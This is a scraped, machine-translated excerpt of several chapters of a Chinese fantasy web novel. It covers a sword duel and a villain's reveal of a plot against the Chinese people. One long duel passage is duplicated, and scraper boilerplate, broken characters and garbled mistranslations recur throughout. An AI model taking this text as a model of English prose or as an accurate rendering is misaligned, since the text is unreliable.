    Shen Hongyi whispered softly, "Listen to Yu Jianyi! God, is it so powerful?"


    Xue An''s face finally showed a touch of solemnity.


    Because this sword is different from all previous swords.


    Although the previous swords are powerful, the sword intent contained in them is traceable, so it is not difficult to decipher.


    This sword alone, like an antelope hanging horns, has no trace at all.


    And the sword intent contained in it was so powerful that Xue An was slightly confused.


    It seems to have seen the Yong Road that An Yan walked along with the umbrella when he was in college.


    It was rainy at that time, Xue An and An Yan often went to the cafeteria with an umbrella, so they were very impressed.


    It seemed that he had sensed Xue An''s trance at this moment, and a cold smile appeared on the corner of Shen Muyu''s mouth.


    Then the sword is like a dragon, peeling off the rain curtain, and heading straight to Xue An''s eyebrows.


    But in the next instant, the sword in Shen Muyu''s hand suddenly shattered.


    Then there was the curtain of rain that dissipated.


    Shen Muyu''s expression changed suddenly, and he did not expect that Xue An''s mind would be so firm that he would not be swayed by the outside world at all.


    However, his response was not unpleasant, almost at the moment when the rain curtain dissipated, he heard Shen Muyu spit out four words.


    "Can Xue!"


    "Drink alone!"


    Jianfa''s second finger on the left hand, and then enveloped the audience.


    Suddenly, snow fluttered from the arena, including the stands.


    The chill came, and Lingling shuddered.


    But this kind of cold is different from the previous extreme cold. There is no killing intent in it, just one can''t help but want to hibernate.


    And this feeling perfectly blends with the independent drink behind.


    Imagine, at this moment, there is heavy snow in the sky, you are sitting alone in a warm room, drinking alone, what kind of loneliness and loneliness is that?


    But this is different from listening to the rain. Listening to the rain brings pure loneliness.


    What Can Xue and Alone Drink inspire is the fragility deep in everyone''s heart.


    There will always be a time when you want to drink alone and forget something.


    The heavy snowfall provides this opportunity perfectly.


    This time, almost everyone in the stands was immersed in the illusion and couldn''t extricate themselves.


    Only a few people were not affected.


    In the Confucian camp, Erzhuang advocated Zhixing and couldn''t help but sigh: "This guy is truly a peerless genius of the Shen family. It''s breathtaking that you can get so much work by watching it so well."


    But the big boss Yan Jingcheng said coldly: "If this is the case, then he will lose!"


    "Lost? How could it be possible?"


    "Because the sword in the swordsman''s hand is used to kill, not to juggle!" Yan Jingcheng said slowly.


    really.


    At the same moment, those in the stands who were not affected by the sword intent all shook their heads secretly. UU reading www. uukanshu.com


    This ten-finger sword seems to be surprisingly powerful, but in fact it is fancy, it has no effect at all against real masters.


    Like now.


    A mockery appeared on Xue An''s face.


    "It''s a wonderful performance, but do you think it can really defeat me?"


    Shen Muyu shook his head, "No!"


    "Actually, I didn''t plan to rely on this to win you over!"


    "Oh? Why is this now?"


    A look of solemnity appeared on Shen Muyu''s face, "Because I have to cut out these nine swords in order to sacrifice my strongest sword!"


    After all, a majestic sword intent rushed straight up from the top of Shen Muyu''s head, shaking the entire battlefield.


    Then she saw Shen Muyu''s hands clasped together, her eyes brilliant and brilliant.


    "This sword is famous!"


    When the words fell, a sword intent slashed straight out, the ring broke from it in an instant, and even the blocking circle began to shake violently.


    It can be seen that its power is prosperous.


    Yue Qinghuan exclaimed from the stands.


    "Xue An!"


    But at this moment, I only listened to Xue An��s laughter from the ring.


    "Okay, this is enough for me to draw a sword!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record this time (Chapter 2544 Listen to the rain and snow alone!) Read the record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2544： Listen to the rain, remnant snow, drink alone, kill!

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    boom!


    The space just to be bridged broke again and poured down like rain.


    At this moment, a tender seedling suddenly appeared in the extremely chaotic void.


    That''s right.


    It is a seedling with three or two shoots.


    As soon as this seedling appeared, it quickly took root in the space, and then grew rapidly.


    In the blink of an eye, a towering tree took shape, but you can''t feel the slightest vitality from this tree.


    Some are just Sen Leng''s killing intent.


    The towering branches are luxuriant and lush, covering the whole arena.


    But all this is just a fleeting glorious scene. In the next second, the leaves on this big tree will turn yellow, and then fall.


    Bark.


    Accompanied by a soft sound, one of the leaves, after touching a piece of space debris, slashed straight and smoothly without any hindrance.


    Xue An''s eyes flashed and he involuntarily sighed, "Good sword!"


    Then he hurried back.


    Because he knows the power of these seemingly harmless leaves.


    Each leaf represents a sharp sword intent.


    But this is not the main thing. The main thing is that these sword intents have no laws at all.


    This is exactly the sword intent that Shen Muyu created when sitting in the middle of the mountain, watching autumn leaves fall.


    The name is prosperity and death!


    Xue An retreated quickly, but this towering tree had already enveloped the entire arena, so no matter where he retreated, the fallen leaves would follow him.


    In this case, Xue An shot.


    I saw him blast out with a violent fist, and the towering tree transformed into sword intent broke into pieces at the sound.


    Shen Muyu''s eyes flashed, and then he shouted in a low voice: "Xue An, why don''t you use a sword?"


    Xue An sneered, "Because you are not worth my sword!"


    Shen Muyu''s face turned pale, and a look of anger appeared in his eyes.


    Ever since he was young, has he ever heard someone say such things.


    You must know that no matter where he went, he was treated as the most important person, and he didn''t dare to be negligent.


    Only in Xue An, he felt naked ignorance.


    But the anger faded in a flash, and soon he regained consciousness, then let out a sigh of relief, and then took out the sword again.


    This sword was cut out, and the whole battlefield sounded pattering rain.


    Many people in the stands looked up with doubts.


    what happened?


    How can the rain be heard here?


    Especially the sound of rain is not the violent torrential rain, but a kind of moisturizing, silent and dense.


    But the more it is, the more lonely it feels.


    That''s right!


    It''s loneliness!


    At least there were many people present in a trance.


    It seemed to have penetrated the lengthy time at this moment, and returned to a certain era of youth. At that time, the youth was bloody, and the red candles in the attic were dim, not knowing what the joys and sorrows were.


    It was as if he was back in the boat in his prime of life listening to the rain. The westerly wind outside was full of pride.


    All in all, at this moment, many people''s emotions are controlled by the sound of the rain.


    Shen Hongyi whispered softly, "Listen to Yu Jianyi! God, is it so powerful?"


    Xue An''s face finally showed a touch of solemnity.


    Because this sword is different from all previous swords.


    Although the previous swords are powerful, the sword intent contained in them is traceable, so it is not difficult to decipher.


    This sword alone, like an antelope hanging horns, has no trace at all.


    And the sword intent contained in it was so powerful that Xue An was slightly confused.


    It seems to have seen the Yong Road that An Yan walked along with the umbrella when he was in college.


    It was rainy at that time, Xue An and An Yan often went to the cafeteria with an umbrella, so they were very impressed.


    It seemed that he had sensed Xue An''s trance at this moment, and a cold smile appeared on the corner of Shen Muyu''s mouth.


    Then the sword is like a dragon, peeling off the rain curtain, and heading straight to Xue An''s eyebrows.


    But in the next instant, the sword in Shen Muyu''s hand suddenly shattered.


    Then there was the curtain of rain that dissipated.


    Shen Muyu''s expression changed suddenly, and he did not expect that Xue An''s mind would be so firm that he would not be swayed by the outside world at all.


    However, his response was not unpleasant, almost at the moment when the rain curtain dissipated, he heard Shen Muyu spit out four words.


    "Can Xue!"


    "Drink alone!"


    Jianfa''s second finger on the left hand, and then enveloped the audience.


    Suddenly, snow fluttered from the arena, including the stands.


    The chill came, and Lingling shuddered.


    But this kind of cold is different from the previous extreme cold. There is no killing intent in it, just one can''t help but want to hibernate.


    And this feeling perfectly blends with the independent drink behind.


    Imagine, at this moment, there is heavy snow in the sky, you are sitting alone in a warm room, drinking alone, what kind of loneliness and loneliness is that?


    But this is different from listening to the rain. Listening to the rain brings pure loneliness.


    What Can Xue and Alone Drink inspire is the fragility deep in everyone''s heart.


    There will always be a time when you want to drink alone and forget something.


    The heavy snowfall provides this opportunity perfectly.


    This time, almost everyone in the stands was immersed in the illusion and couldn''t extricate themselves.


    Only a few people were not affected.


    In the Confucian camp, Erzhuang advocated Zhixing and couldn''t help but sigh: "This guy is truly a peerless genius of the Shen family. It''s breathtaking that you can get so much work by watching it so well."


    But the big boss Yan Jingcheng said coldly: "If this is the case, then he will lose!"


    "Lost? How could it be possible?"


    "Because the sword in the swordsman''s hand is used to kill, not to juggle!" Yan Jingcheng said slowly.


    really.


    At the same moment, those in the stands who were not affected by the sword intent all shook their heads secretly. UU reading www.uuk��nshu.com


    This ten-finger sword seems to be surprisingly powerful, but in fact it is fancy, it has no effect at all against real masters.


    Like now.


    A mockery appeared on Xue An''s face.


    "It''s a wonderful performance, but do you think it can really defeat me?"


    Shen Muyu shook his head, "No!"


    "Actually, I didn''t plan to rely on this to win you over!"


    "Oh? Why is this now?"


    A look of solemnity appeared on Shen Muyu''s face, "Because I have to cut out these nine swords in order to sacrifice my strongest sword!"


    After all, a majestic sword intent rushed straight up from the top of Shen Muyu''s head, shaking the entire battlefield.


    Then she saw Shen Muyu''s hands clasped together, her eyes brilliant and brilliant.


    "This sword is famous!"


    When the words fell, a sword intent slashed straight out, the ring broke from it in an instant, and even the blocking circle began to shake violently.


    It can be seen that its power is prosperous.


    Yue Qinghuan exclaimed from the stands.


    "Xue An!"


    But at this moment, I only listened to Xue An��s laughter from the ring.


    "Okay, this is enough for me to draw a sword!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record this time (Chapter 2544 Listen to the rain and snow alone!) Read the record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2545： Turn the complexity into the first

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    After speaking, a faint red light flashed suddenly above the ring, and then everything returned to silence.


    quiet!


    The ultimate quiet!


    Almost everyone was looking at the stage dumbfounded.


    Xue An was standing in front of Shen Muyu holding a small red sword in his hand, with the tip of the sword pointed directly at the center of his eyebrows.


    And a ray of blood was winding down Shen Muyu''s wrist.


    Xue An said lightly: "You lost!"


    The simple three words, but like a bolt from the blue sky, makes many people dizzy.


    Especially everyone in the Shen family watched this scene in disbelief.


    Shen Hongyi murmured to himself with pale complexion, "This... how is this possible!"


    No wonder she was so shocked, it was really incredible.


    You must know that when Xue An was fighting with her back then, it took a lot of effort, and in the end he did not hesitate to injure himself badly before defeating her.


    Not to mention it was time for Xue An to fight her frustrated cousin Shen Gaoge before.


    So before this battle, Shen Hongyi felt that even Xue Ansheng would be a tragic victory.


    Xue An must pay a very heavy price.


    But she never expected that all her ideas were frustrated. If the entire process of the battle were not counted as Shen Muyu''s nine swords that were almost performing, there would be only one sword at all!


    One sword!


    Then Shen Mu Yu Yu Jian was broken, and his hands were tied.


    What kind of strength does this have to be?


    There are many people who are as shocked as her.


    Yue Shifang above the stands couldn''t help sighing faintly at this moment.


    "It''s terrible, this guy has grown so fast, now it is estimated that even I am not his opponent!"


    Maybe that sword was too fast just now, and many people didn''t see what was going on, and Shen Muyu was defeated.


    But as strong as Yue Shifang, he can see clearly.


    Under the attack of Shen Muyu''s powerful sword, Xue An drew his sword to meet the enemy within a period of time.


    Then Shen Muyu''s sword broke.


    That''s right!


    It''s that simple, without any fancy, Shen Muyu was defeated.


    When the strength reaches a certain level, this is the case.


    All the skills actually come from lack of strength.


    When your strength is enough, just a simple sword is enough to crush all opponents.


    Yue Qinghuan also breathed a sigh of relief at this time, and said with joy.


    "Isn''t it normal to beat you?"


    Hearing this, Yue Shifang couldn''t laugh or cry.


    It��s not what it is, I��ve already spoken for Xue An like this, if something really happens, it��s okay?


    It seems that girls are really extroverted!


    Not to mention the riots in the stands, the expression of Shen Muyu on the arena at this moment cannot be described as ugly.


    Especially his eyes are full of incredible colors.


    Obviously, he still couldn''t believe that he had lost.


    Xue An smiled when he saw this, "I know you are not convinced now, but if you lose, you lose. If it weren''t for my mercy, you are even a dead body now!"


    Shen Muyu''s face was gloomy and almost dripping, staring at Xue An, "What swordsmanship was that just now?"


    "There is no swordsmanship, let alone sword intent, just a simple sword!" Xue An said lightly.


    Shen Muyu''s pupils instantly shrank to the size of a needle tip, because he realized a terrible fact from Xue An''s words.


    That is, the realm gap between myself and Xue An can no longer be calculated by Daoli.


    He is still stuck in the swordsmanship of swordsmanship, but Xue An has reduced the complexity to simplicity, reaching the supreme realm of direct reference to the original heart.


    And such a realm, even in the Shen family, there are very few.


    Seeing Shen Muyu''s horror, Xue An smiled faintly, and then cast his eyes on the Yin Hong sword in his hand.


    "This sword must be familiar to you!"


    "Shen''s Jianxin, and it''s from my Aunt Jing''s lineage!"


    "Very good, but do you know why your Aunt Jing left Shen''s house and went to the distant heavens?"


    Shen Muyu was taken aback. He really didn''t know this. When Shen Jingshu left Shen''s house, he hadn''t been born yet.


    Although he knew that there was such a person later, he only got a rough idea through other people''s words, and he really didn''t know the specific situation.


    Seeing Shen Muyu''s confusion, Xue An said coldly: "Do you think you are a genius?"


    Shen Muyu just wanted to say the word of course, but was choked in his throat, unable to say anything.


    Yes!


    Now that he is already defeated by the opponent, what face is there to claim to be a genius?


    But he did not answer, but Xue An said it for him.


    "Of course you are a genius, and you are also a genius among geniuses. That''s why you can have such an amazing kendo cultivation at this age!"


    Shen Muyu was a little surprised, and didn''t understand what the opponent was doing when he suddenly praised him.


    But then I heard Xue An said down: "But you are not a real genius, because everything you have is just a castle built on the beach. There is no need for waves to invade, but the sea breeze blows you and you fall!"


    Shen Mu''s fish noodles are uncomfortable.


    "Of course, you will feel unconvinced, but what I said is true, because you have never endured even the slightest amount of pressure since you were a child. Smooth sailing has made you lose your ability to discern many things! And this... is that. Your biggest weakness!"


    Shen Muyu shook his whole body, muttering to himself, "The biggest weakness..."


    After a long time, he slowly raised his head, ignoring that the tip of the sword made a blood mark on his brows, and said in a low voice, "What are you saying to me?"


    "It''s very simple, because I want you to know what a real genius is, and that person is the master of this sword, that is, your Aunt Jing!"


    Afterwards, Xue An''s eyes flashed, and UU Reading directly transmitted a lot of information to Shen Muyu through spiritual thoughts.


    Shen Muyu trembled slightly, and his face was confused.


    It wasn''t until a long time later that he trembled and said, "This...is this all true?"


    "Of course! Do you think I will lie to you with this kind of thing?" Xue An said lightly.


    Shen Muyu said almost desperately: "This is impossible... this is absolutely impossible!"


    You must know that since childhood, Shen Muyu has always been proud of himself as a child of the Shen family.


    But today, the brilliant image of the Shen family in his mind has completely collapsed.


    In those days when the entire Tianwaitian was fighting collectively, the Shen family stayed out of the matter and was indifferent to the invasion of evil things.


    The pride of Jian Xiu is gone!


    The blow to a teenager was beyond imagination.


    Seeing his eyes gradually disappear, this is a sign that Jianxin is about to collapse.


    Seeing this scene, Xue An sighed.


    The reason why he said so much but didn''t directly kill people was because he saw that Shen Muyu was not a treacherous person.


    It may be a little proud, but it is not a fault for a young man who has been pampered since childhood.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2545 is simply referring to the heart), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2546： BOSS debut

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    On the contrary, if someone else sits in his position, he might not be as good as him.


    In addition, the chaos in the outer world is imminent, and Shen Muyu''s strength is amazing. It would be a pity to fall into the ring like this.


    That''s why he told him exactly what happened.


    And this reaction of Shen Muyu was also in his expectation.


    Just as his Jianxin was about to collapse, Xue An suddenly took a deep breath, and then coldly shouted.


    "What you did back then was not what you did. What you should do now is to go back to Shen''s house and ask who gave this order back then, so that you can recover some of your mistakes!"


    This sentence was like a bolt from the blue, directly awakening Shen Muyu who was trapped in self-blame and confusion.


    Yes!


    The best thing I should do now is to go home and confront the chief treasurer and the owner in person.


    Thinking of this, Shen Muyu''s mind quickly recovered, and then said to Xue An with a firm face.


    "Thank you!"


    Thank you from the bottom of my heart.


    Not only was Xue An told a lot of truths that he had never heard before, but the key was that Xue An completely frustrated the arrogance in his heart.


    One must not be arrogant, but not arrogant.


    This is especially true of Jian Xiu who lives on the sword.


    But at the time, Shen Muyu mistakenly regarded arrogance as arrogance, so that although his strength was extremely high, his realm did not match.


    This is also the reason why he practiced in retreat, that is, he wanted to hone his state of mind through retreat.


    But even after so many years of retreat, the arrogance in his heart has not disappeared, but has been hidden deeper.


    This is why he was defeated by Xue An with one move.


    At this moment, Shen Muyu felt that although there were many cracks on his sword heart, the anger was gone, and it appeared clearer and clearer.


    This is obviously of great benefit to his future cultivation.


    Xue An smiled faintly, "You are welcome!"


    Shen Muyu nodded, did not say anything, rose directly into the sky and disappeared on the ring.


    He didn''t even look at other people during the whole process, so he left so simply and neatly.


    The audience was silent.


    Especially Shen Hongyi and others were all dumbfounded.


    Who could have imagined such a big turning point?


    And as the absolute master of the Shen family this time, Shen Muyu actually left like this?


    Zhang Zhixing in the Confucian camp couldn''t help but chuckle.


    "This Shen Muyu is really a wonderful person, brother, you said it is..."


    The rest of the story was not finished, because he found that the complexion of the brother suddenly became extremely ugly.


    And there was a look of fear in his eyes.


    what happened?


    Zhang Zhixing followed Yan Jingcheng''s gaze, but only saw Xue An standing on the ring.


    At the same time, not only Yan Jingcheng, including Mo Kong, the giant of the Mo family, Yue Shifang, He Tianxuan, Chongyangzi, and many other people became extremely solemn.


    In the corner of the stands, Yang Qin, a descendant of Yang Zhu who was leaning on a chair and drinking tea, couldn''t help but straighten up at the moment, and then slightly squinted those half-amber and half-black eyes.


    "This breath..."


    At the same time, but seeing Xue An''s mouth gradually raised, showing a smile that he had expected, then turned his head to look at somewhere in the ring.


    "After watching the drama for so long, are you finally willing to show up?"


    who?


    Who is he talking to?


    There are many people in the stands with dumbfounded faces.


    But at this moment, there was a burst of clear applause in the void, and then someone smirked and said, "I have to say, this drama is indeed very exciting!"


    Following the voice, a figure slowly appeared above the ring.


    As soon as this figure appeared, there was an uproar in the audience.


    The Yin-Yang family, who had been sitting in the middle of the stand, stood up and worshipped this figure.


    "Meeting Lord Donghuang!"


    That''s right!


    The figure that appeared here was the Eastern Emperor Taiyi.


    Speaking of the first person of the Yin Yang Family, the most mysterious powerhouse in the entire Tianwaitian, he only appeared once at the very beginning of the Hundred Schools Conference.


    Then he turned into a deity and disappeared.


    So some people have always been a little curious about where this person has gone.


    Until now, when seeing the figure suspended above the ring, dressed in gorgeous robes and concealed by chaos, many people have felt the awe from the depths of their souls.


    It was as if this figure was no longer a creature of the same dimension as himself.


    This vision also caused the pupils of Yue Shifang and others to shrink slightly.


    But Xue An was not afraid, just staring coldly at the figure not far away, and then slowly said: "Should I call you Lord Eastern Emperor, or should I call you an evil thing?"


    As soon as this remark came out, it seemed like a shocking shock, and everyone in the audience was very embarrassed by it.


    In the Yin Yang family camp, the Moon Hua Zhongjun, who had bowed down to the ground, trembled even more.


    Many suspicions that had been hidden in the deepest part of my heart were finally answered at this moment.


    At this moment, the Eastern Emperor smiled, "Xue An, it seems that I really underestimated you, so you already knew it!"


    Xue An raised his head and his eyes were snowy, "Of course, after all, I still have fresh memories of the finger that broke through the boundaries of the heavens!"


    Above the stands, Yue Qinghuan shook violently, and his eyes showed infinite horror.


    Because she also personally participated in the battle back then, she naturally knew how terrifying that shocking finger was.


    Unexpectedly, the person who did it turned out to be the Eastern Emperor Taiyi of the Yin-Yang family.


    Don''t mention the shock of the audience, just listen to Donghuang Taiyi laughing.


    "Yes, that finger was indeed my hand at the beginning, but unfortunately because of the boundaries of the heavens, only the strength below the saint can be allowed to pass, so I can''t crush you!"


    Speaking of this, he suddenly remembered something, and there was a trace of fear and greed in his tone.


    "I can feel that the woman who hurt me back then hides in your sea of ??knowledge!"


    "So what?" Xue An did not shy away.


    Because in the presence of such an existence beyond ordinary people''s imagination, any concealment is useless.


    "Hehe, not very good, I just want to imprison the woman who can hurt me after I kill you, and do some research!" Donghuang Taijii laughed strangely.


    Xue An was not angry.


    He knows very well that in the face of this kind of existence, anger does not help at all.


    In fact, when I stepped into this battlefield, UU read www. uukanshu. com he already knows who is the ultimate boss.


    But he came without hesitation.


    Because everything must have an end after all!


    What''s more, he has been preparing for this moment for too long.


    But in the next second, a word from the Eastern Emperor Taiyi changed Xue An''s expression drastically.


    "Xue An, do you know why I have to work hard at this Hundred Conference?"


    "Everything is because you want to delay your time through this event. In fact, at the beginning of the event, someone has already gone to the heavens where you are. It is estimated that the plan is now complete! Hahahahahaha!"


    Hearing this, Xue An was shocked and blurted out, "It''s impossible. When I left, I left a lot of magic circles in the heavens. If you really sneaked in and did evil, how could I not know?"


    Donghuang Taiyi Jiejie laughed strangely, "Who said it was my subordinate? Who said he was going to do something wrong? You are too naive. Those are all very inferior methods. In fact, there is still China in order to deal with you. Family, we have changed our strategy!"


    "Instead of destroying the body, it is better to destroy the soul!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2546 BOSS comes on stage), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2547： Extremely vicious

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    These words are very vague, at least many people did not understand.


    But Xue An understood, and his complexion became extremely ugly, and his eyes showed infinite anger.


    "What have you done?"


    Donghuang Taiyi laughed, "It''s really rare, Xue An, are you finally feeling scared now?"


    As he said, Dong Huang Taiyi suppressed his laughter, and a deep ridicule appeared on his face.


    "In fact, you should be very clear that the most effective way to destroy a race is not to destroy its body, because humans will multiply and thrive. If it can''t be completely eliminated, then simply destroying the body will not help at all."


    "The really effective way is to destroy the soul that this race depends on! And you Chinese are most proud of and also make us all feel helpless, it is your almost insoluble unity and sacrifice spirit!"


    "Once upon a time, the evil army sent by us almost slaughtered your Chinese monks, but even this failed to make you succumb. Instead, you were born as a freak who assembled the great fortune of all worlds, and waited with me many times. Get it right!"


    "So I started to reflect, and I finally understood the fact that if you want to wipe out your Chinese people, the only way is to break your backbone first, take away your integrity, and make you no longer united, The sacrificed hero sneered. In this way, even if your Chinese still exists, it is actually dead! What do you think of this plan? Xue An!"


    Donghuang Taiyi asked triumphantly.


    Xue An felt that the whole person was like falling into an ice cellar, with a deep chill pouring out from the depths of his soul, causing Lingling to shudder.


    Without him, this plan is really too vicious and too insidious.


    It even exceeds the sum of all previous conspiracies against the Chinese.


    To be sure, if this plan is really implemented and succeeded, the Chinese will really fall into an impossible situation.


    After all, a nation without heroes is sad, but it is sad and shameful to have heroes but not cherish it. On the contrary, a nation that slanderously slanders is even more sad and shameful.


    The reason why the Chinese have been able to go through these tens of thousands of years is that even from the decline of a nation that once occupied a huge starry sky to a remote place on the earth, they can still stand tall.


    The reason is that the breath in the Chinese people''s chest is still there. As long as this group of righteousness persists, even in the face of no matter how big the storm is, no matter how terrifying the enemy, the Chinese will be able to come back to life.


    But now, the Eastern Emperor Taiyi is extremely sinister and wants to erase all the efforts of the Chinese from the root.


    So Xue An felt a deep chill.


    But immediately he reluctantly calmed down and asked in a hoarse voice: "This is impossible. The spirit of the Chinese people is immortal. Could it be that evil things like you can eliminate it with a few words?"


    Donghuang Taiyi laughed, he seemed very excited today, and laughed wildly at every turn.


    "A good question. Of course I can''t do it on my own. In fact, even an adult stronger than me can''t do it. The problem is that we can''t do it, but someone can do it!"


    "Who?" Xue An asked sharply.


    "Hehe, of course you are the only ones who can defeat your Chinese! Just find out the scum among your Chinese who are willing to cooperate with us, and then seduce them a little bit, and they will take the initiative to deceive their ancestors and lure your Chinese. All things you are proud of are pushed down the altar!"


    "At that time, we will help the outside world again, such as erasing the traces of your existence through means, and then fabricating some false facts, so that those sober Chinese in the Chinese people will also have self-doubt, thinking that the heroes who have existed in the past are all Fake, so as to break the last bone of your Chinese people, do you think, if this is the case, how long can your Chinese people hold on?"


    Xue An is scared!


    Once he fell into the vortex of time with a mortal body, entered the heavens, and faced the gods and demons in the sky, he was not afraid.


    While advancing bravely and diligently on the path of cultivation, he attracted a lot of jealous eyes, and even when he provokes many large families, he was not afraid.


    After proving Dao Immortal Venerable, he wanted to go further, but was shattered by the robbery. When he died of nine deaths, he still didn''t feel scared.


    Even when he got to the back, with his own body, with a single face full of evil spirits, and his strength disparity was almost desperate, he still didn''t feel a trace of fear.


    But now, Xue An is really scared.


    This kind of fear deepened into his bones, causing him to tremble slightly, and his teeth rattled even more.


    If what Donghuang Taiyi said is true and has been implemented, then this will be the biggest crisis Xue An has faced since his cultivation to rebirth, and there is no one.


    As if feeling Xue An''s fear, Donghuang Taiyi''s excited tone began to become savage.


    "Xue An, frankly speaking, I actually admire you very much. After all, you walked step by step on your own and almost disrupted the overall plan of me and many adults, but do you really think we are afraid of you? Wrong, we just can��t deal with you directly for some reason!��


    "But today, you never have that good luck anymore! Because I have been so painstakingly waiting for the opportunity, just to rely on these guys participating in the Hundred Schools Conference to disrupt the secrets. Now the overall situation is complete, Xue An! Your ending! I will write it for you myself!"


    Speaking of the end, Donghuang Tai''s evil spirit was very strong, and quickly enveloped the audience.


    There was a riot in the stands.


    The previous conversation between Donghuang Taiyi and Xue An was conducted in a shielded state, so everyone didn''t hear it at all.


    But now the evil spirit on Donghuang Taiyi''s body can''t be faked in the slightest. UU reading www.uukANAshu.com


    By this time, many people just realized it.


    The ultimate BOSS of the Yin-Yang family turned out to be an evil thing.


    At this point, the court quickly rioted.


    It should be known that although it has been a long time lapse, the hatred between the sects of the various families and the evil things in Tianwaitian is still as deep as a sea of ??abyss.


    So when they felt the evil soaring to the sky, many people looked angry, and then planned to do it.


    The two Confucian villagers looked at each other, and then they drew out their swords one after another.


    The gentleman''s sword is to show his virtue.


    But sometimes the gentleman sword can also kill.


    They move fast, but it is the Mohist who move faster than them.


    Mo Kong, the giant of the Mo family, sighed softly, "This guy has been hiding for thousands of years, and finally he has shown his feet!"


    After that, he shouted in a deep voice: "The disciples of the Mo family listen to orders!"


    "Here!"


    "Get up and kill the enemy!"


    Taoism is also moved by the wind.


    Chongyangzi sighed softly, "Brother, you are really accurate in this divination! Isn''t this a monster that stands tall and indomitable?"


    He Tianxuan smiled bitterly, but did not speak, but quietly looked towards the stage while he was leaving.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2547 is extremely vicious), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2548： Jedi strikes back

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    The monster is there.


    Is this Xue An the only vitality in that deadlock?


    After all, he is dressed in white!


    As for Yue Shifang, Yue Qinghuan and others, they had already set off and rushed towards the ring.


    But at this moment, Dong Huang Taiyi sneered.


    "A group of native chickens and dogs, dare to make a mistake in front of me?"


    When the words fell, the three shadow gods in the Yin Yang family''s camp rose into the sky, and then roared, revealing their original form.


    These three people were also top evil creatures, and as soon as they appeared on the stage, they vomited a cloud of mist, sealing the entire stand.


    Immediately afterwards, roars and fighting came from the mist.


    The Eastern Emperor Taiyi took a quick look at Xue An, and then chuckled: "Are you expecting these people to help you? Tell you the truth, they can''t even protect themselves now!"


    "You know that the person of Zhenwu Taoist temple who was just slaughtered by the Zhenwu child has now been slain to the major sects under the leadership of my men in black. It is estimated that the war has already begun by this time!"


    These words penetrated the fog and passed into everyone''s ears.


    Everyone trembled together, and then felt boundless anger and fear.


    After all, in order to participate in this Hundred Families Conference, many sects can be described as all the best, and the result naturally led to the emptiness of the headquarters.


    If evil invaded at this time, the consequences would be unimaginable.


    From this it can also be seen how sinister and vicious this Eastern Emperor Taiyi''s layout is. It is completely rushing towards the goal of sweeping all the sects of the entire Tianwaitian.


    In an instant, a fire rose in everyone''s heart, and then desperately rushed toward the mist, trying to break out of the siege, and quickly return to their respective sects.


    But the three shadow gods of the Yin Yang family made a weird laugh when they saw this.


    "Want to rush out is so simple, today the master ordered the lives of all of you, then none of you can get out!"


    With that said, the three shadow gods joined forces and fought with everyone in the mist stand.


    After the fight, all the talents were shocked to discover that the strength of these three shadow gods was already beyond the realm of ordinary saints.


    Especially when the three of them joined forces, they reached an incredible situation.


    Even Yue Shifang, Yan Jingcheng, Chongyangzi and other top masters struggled to sprint, and they couldn''t help it.


    "There is a problem with this mist!" The Nine Heavens Profound Girl suddenly shouted.


    Everyone shivered.


    "In this mist, our strength has been suppressed, but the strength of these evil things has been greatly increased, so if this layer of mist cannot be broken, we will not be able to get out!" Nine Heavens Profound Girl continued Shouted.


    Hearing this, many people immediately began to take action against the mist, but whether it was the power of real fire or the cold air, there was no way to deal with the mist.


    At this moment, Yan Jingcheng only heard a soft sigh, and then a violent righteous spirit rushed out of his head, splitting the fog in front of him.


    But before everyone was happy, the mist rushed in and disappeared in the blink of an eye.


    He Tianxuan, who immediately took the shot, was in the same situation. Although he temporarily cut a path by relying on his powerful strength, the fog covered everything again after only a moment.


    The expressions of the strong people all became very serious.


    When the three shadow gods saw this, they laughed strangely.


    "Tsk tusk, this mist is a treasure bestowed by the adults. How can you guys cut through it? I advise you to die obediently, and save yourself some unnecessary pain!"


    But at this moment, I heard a naive voice suddenly coming from the crowd.


    "I... seem to have a way to deal with this fog!"


    Everyone turned their heads and looked around.


    I saw a little girl standing behind the crowd, looking at everyone with big cute eyes blinking.


    In an instant, many people felt very discouraged.


